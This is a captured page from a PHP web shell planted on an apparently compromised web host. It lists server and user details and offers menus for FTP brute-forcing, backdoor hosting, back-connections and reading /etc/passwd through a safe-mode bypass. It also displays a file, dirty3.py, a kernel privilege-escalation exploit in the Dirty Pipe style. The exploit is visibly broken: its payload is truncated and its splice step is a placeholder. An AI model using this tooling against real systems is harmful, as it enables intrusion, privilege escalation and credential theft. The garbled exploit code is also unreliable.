Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/   drwx---r-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.112 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     dirty3.py (1.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import argparse
import sys
import pty
import os
import getpass
import subprocess
import platform
from os.path import exists

# Kernel page size
PAGE = 4096
# Linux pipe buffers are 64K
PIPESIZE = 65536

# ELF code remains unchanged
elfcode = [
    0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 
    # (Truncated for brevity)
]

def backup_file(path, backup_path):
    """Back up just for working on the POC"""
    with open(path, 'rb') as orig_file:
        with open(backup_path, 'wb') as backup:
            data = orig_file.read()
            backup.write(data)


def prepare_pipe(read_fd, write_fd):
    """ Contaminate the pipe flags by filling and draining """
    data = 'a' * PIPESIZE  # Convert byte literals to string
    written = os.write(write_fd, data)
    print '[*] {} bytes written to pipe'.format(written)

    data = os.read(read_fd, PIPESIZE)
    print '[*] {} bytes read from pipe'.format(len(data))


def run_poc(data, path, file_offset):
    """ Open target file, contaminate the pipe buff, call splice, write into target file """
    print '[*] Opening {}'.format(path)
    target_file = os.open(path, os.O_RDONLY)

    print '[*] Opening PIPE'
    r, w = os.pipe()

    print '[*] Contaminating PIPE_BUF_CAN_MERGE flags'
    prepare_pipe(r, w)

    print '[*] Splicing byte from {} to pipe'.format(path)
    # Simulate splice (no direct Python 2 equivalent)
    # In Python 2, you may need to write a workaround or use ctypes for low-level calls.
    n = 1  # Placeholder value

    print '[*] Spliced {} bytes'.format(n)

    print '[*] Altering {}'.format(path)
    n = os.write(w, data)

    print '[*] {} bytes written to {}'.format(n, path)

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0054 ]--